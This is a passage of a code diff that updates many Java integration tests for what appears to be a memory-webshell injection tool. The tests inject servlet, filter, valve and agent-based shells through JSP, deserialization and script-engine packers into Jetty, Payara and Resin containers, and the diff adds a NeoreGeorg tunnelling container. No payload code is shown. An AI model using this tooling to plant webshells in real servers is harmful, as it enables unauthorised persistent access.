return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -56,6 +69,6 @@ public class Jetty76ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jetty81ContainerTest { public class Jetty81ContainerTest {
public static final String imageName = "reajason/jetty:8.1-jdk7"; public static final String imageName = "reajason/jetty:8.1-jdk7";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh") .withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -56,6 +69,6 @@ public class Jetty81ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -33,17 +35,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
public class Jetty92ContainerTest { public class Jetty92ContainerTest {
public static final String imageName = "jetty:9.2-jre7"; public static final String imageName = "jetty:9.2-jre7";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh") .withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -51,12 +64,13 @@ public class Jetty92ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jetty93ContainerTest { public class Jetty93ContainerTest {
public static final String imageName = "reajason/jetty:9.3"; public static final String imageName = "reajason/jetty:9.3";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh") .withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -56,6 +69,6 @@ public class Jetty93ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jetty94ContainerTest { public class Jetty94ContainerTest {
public static final String imageName = "jetty:9.4-jre8"; public static final String imageName = "jetty:9.4-jre8";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh") .withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -57,6 +70,6 @@ public class Jetty94ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,18 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Payara5201ContainerTest { public class Payara5201ContainerTest {
public static final String imageName = "reajason/payara:5.201"; public static final String imageName = "reajason/payara:5.201";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Payara; Server server = Server.Payara;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -57,6 +69,6 @@ public class Payara5201ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,18 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Payara520225ContainerTest { public class Payara520225ContainerTest {
public static final String imageName = "reajason/payara:5.2022.5"; public static final String imageName = "reajason/payara:5.2022.5";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Payara; Server server = Server.Payara;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -57,6 +69,6 @@ public class Payara520225ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,18 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Payara620222ContainerTest { public class Payara620222ContainerTest {
public static final String imageName = "reajason/payara:6.2022.2-jdk11"; public static final String imageName = "reajason/payara:6.2022.2-jdk11";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war") .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Payara; Server server = Server.Payara;
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
} }
@@ -57,6 +69,6 @@ public class Payara620222ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -13,7 +13,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -33,17 +35,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Resin3116ContainerTest { public class Resin3116ContainerTest {
public static final String imageName = "reajason/resin:3.1.16"; public static final String imageName = "reajason/resin:3.1.16";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(resinPid, "/fetch_pid.sh") .withCopyToContainer(resinPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Resin; Server server = Server.Resin;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -60,6 +73,6 @@ public class Resin3116ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,17 +34,28 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Resin318ContainerTest { public class Resin318ContainerTest {
public static final String imageName = "reajason/resin:3.1.8-jdk7"; public static final String imageName = "reajason/resin:3.1.8-jdk7";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName) public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(resinPid, "/fetch_pid.sh") .withCopyToContainer(resinPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Resin; Server server = Server.Resin;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -56,6 +69,6 @@ public class Resin318ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
